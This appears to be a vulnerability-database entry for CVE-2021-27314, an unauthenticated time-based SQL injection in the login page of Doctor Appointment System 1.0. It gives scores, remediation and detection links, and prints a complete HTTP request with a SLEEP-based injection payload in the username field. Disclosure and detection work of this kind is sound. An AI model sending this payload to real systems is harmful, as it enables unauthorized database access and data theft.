🔙 목록으로 돌아가기

CVE-2021-27314: Doctor Appointment System 1.0 - SQL Injection

TitleDoctor Appointment System 1.0 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.78706
CVE IDCVE-2021-27314
CWE IDCWE-89
Tags time-based-sqli cve2021 cve sqli doctor-appointment-system packetstorm doctor_appointment_system_project vuln

🔍 Vulnerability Description

SQL injection in admin.php in doctor appointment system 1.0 allows an unauthenticated attacker to insert malicious SQL queries via username parameter at login page.

🌐 HTTP Request

POST /admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27314.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27314.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A